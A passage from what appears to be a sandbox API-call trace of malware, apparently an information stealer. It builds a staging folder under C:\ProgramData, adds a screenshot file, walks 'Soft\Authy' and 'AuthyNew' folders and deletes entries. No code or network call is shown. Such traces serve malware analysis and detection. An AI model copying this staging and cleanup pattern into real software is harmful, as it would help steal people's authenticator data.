lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.392] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.392] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="screenshot.jpg" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\screenshot.jpg") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\screenshot.jpg" [0149.392] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.392] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.392] lstrcatW (in: lpString1="\\", lpString2="screenshot.jpg" | out: lpString1="\\screenshot.jpg") returned="\\screenshot.jpg" [0149.392] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\screenshot.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0149.392] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba5d0 [0149.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\screenshot.jpg", cchWideChar=62, lpMultiByteStr=0x32ba5d0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\screenshot.jpg", lpUsedDefaultChar=0x0) returned 62 [0149.392] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba390 [0149.392] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x2360000) returned 1 [0149.392] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.392] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366808 [0149.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366808, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.393] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366808 | out: hHeap=0x2360000) returned 1 [0149.393] PathMatchSpecW (pszFile="screenshot.jpg", pszSpec="*.*") returned 1 [0149.393] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.393] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405b0 [0149.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\screenshot.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0149.393] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba228 [0149.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\screenshot.jpg", cchWideChar=62, lpMultiByteStr=0x32ba228, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\screenshot.jpg", lpUsedDefaultChar=0x0) returned 62 [0149.393] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba7c8 [0149.393] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba228 | out: hHeap=0x2360000) returned 1 [0149.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\screenshot.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.393] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236aac8 [0149.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\screenshot.jpg", cchWideChar=16, lpMultiByteStr=0x236aac8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\screenshot.jpg", lpUsedDefaultChar=0x0) returned 16 [0149.393] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aac8 | out: hHeap=0x2360000) returned 1 [0149.393] GetDesktopWindow () returned 0x10010 [0149.393] GetTickCount () returned 0x15b6133 [0149.446] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.446] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.446] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="Soft" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" [0149.446] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.446] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.446] lstrcatW (in: lpString1="\\", lpString2="Soft" | out: lpString1="\\Soft") returned="\\Soft" [0149.446] lstrcmpW (lpString1="Soft", lpString2=".") returned 1 [0149.446] lstrcmpW (lpString1="Soft", lpString2="..") returned 1 [0149.446] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" [0149.447] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\*.*" [0149.447] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8b87f2, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8b87f2, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8d836e, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.447] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" [0149.447] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\" [0149.447] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\." [0149.447] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0149.447] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0149.447] lstrcatW (in: lpString1="\\Soft\\", lpString2="." | out: lpString1="\\Soft\\.") returned="\\Soft\\." [0149.447] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.447] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8b87f2, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8b87f2, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8d836e, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.448] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" [0149.448] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\" [0149.448] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\.." [0149.448] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0149.448] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0149.448] lstrcatW (in: lpString1="\\Soft\\", lpString2=".." | out: lpString1="\\Soft\\..") returned="\\Soft\\.." [0149.448] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.448] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.448] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8bae4f, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8bae4f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8bae4f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Authy", cAlternateFileName="")) returned 1 [0149.448] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" [0149.448] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\" [0149.448] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\", lpString2="Authy" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" [0149.448] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0149.448] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0149.448] lstrcatW (in: lpString1="\\Soft\\", lpString2="Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0149.448] lstrcmpW (lpString1="Authy", lpString2=".") returned 1 [0149.448] lstrcmpW (lpString1="Authy", lpString2="..") returned 1 [0149.448] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" [0149.448] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\*.*" [0149.448] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8bae4f, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8bae4f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8bae4f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8829b0 [0149.449] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" [0149.449] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\" [0149.449] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\." [0149.449] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Soft\\Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0149.449] lstrcatW (in: lpString1="\\Soft\\Authy", lpString2="\\" | out: lpString1="\\Soft\\Authy\\") returned="\\Soft\\Authy\\" [0149.449] lstrcatW (in: lpString1="\\Soft\\Authy\\", lpString2="." | out: lpString1="\\Soft\\Authy\\.") returned="\\Soft\\Authy\\." [0149.449] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.449] FindNextFileW (in: hFindFile=0x8829b0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8bae4f, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8bae4f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8bae4f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.449] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" [0149.449] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\" [0149.449] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\.." [0149.449] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Soft\\Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0149.449] lstrcatW (in: lpString1="\\Soft\\Authy", lpString2="\\" | out: lpString1="\\Soft\\Authy\\") returned="\\Soft\\Authy\\" [0149.449] lstrcatW (in: lpString1="\\Soft\\Authy\\", lpString2=".." | out: lpString1="\\Soft\\Authy\\..") returned="\\Soft\\Authy\\.." [0149.449] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.450] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.450] FindNextFileW (in: hFindFile=0x8829b0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8bae4f, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8bae4f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8bae4f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.450] FindClose (in: hFindFile=0x8829b0 | out: hFindFile=0x8829b0) returned 1 [0149.450] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0149.450] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3a) returned 0x32ba4b0 [0149.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", cchWideChar=58, lpMultiByteStr=0x32ba4b0, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", lpUsedDefaultChar=0x0) returned 58 [0149.450] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba300 [0149.450] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba4b0 | out: hHeap=0x2360000) returned 1 [0149.450] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.450] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366958 [0149.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366958, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.450] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366958 | out: hHeap=0x2360000) returned 1 [0149.451] PathMatchSpecW (pszFile="Authy", pszSpec="*.*") returned 1 [0149.451] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.451] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0149.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0149.451] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3a) returned 0x32ba618 [0149.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", cchWideChar=58, lpMultiByteStr=0x32ba618, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy", lpUsedDefaultChar=0x0) returned 58 [0149.451] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba270 [0149.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba618 | out: hHeap=0x2360000) returned 1 [0149.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft\\Authy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.451] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac00 [0149.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft\\Authy", cchWideChar=12, lpMultiByteStr=0x236ac00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Soft\\Authy", lpUsedDefaultChar=0x0) returned 12 [0149.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac00 | out: hHeap=0x2360000) returned 1 [0149.451] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft\\authy"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba270 | out: hHeap=0x2360000) returned 1 [0149.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0149.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.451] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft\\authy")) returned 0 [0149.452] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x2360000) returned 1 [0149.452] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8d836e, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8d836e, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8d836e, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthyNew", cAlternateFileName="")) returned 1 [0149.452] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" [0149.452] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\" [0149.452] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\", lpString2="AuthyNew" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" [0149.452] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0149.452] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0149.452] lstrcatW (in: lpString1="\\Soft\\", lpString2="AuthyNew" | out: lpString1="\\Soft\\AuthyNew") returned="\\Soft\\AuthyNew" [0149.452] lstrcmpW (lpString1="AuthyNew", lpString2=".") returned 1 [0149.452] lstrcmpW (lpString1="AuthyNew", lpString2="..") returned 1 [0149.452] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" [0149.452] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\*.*" [0149.452] FindFirstFileW (in: 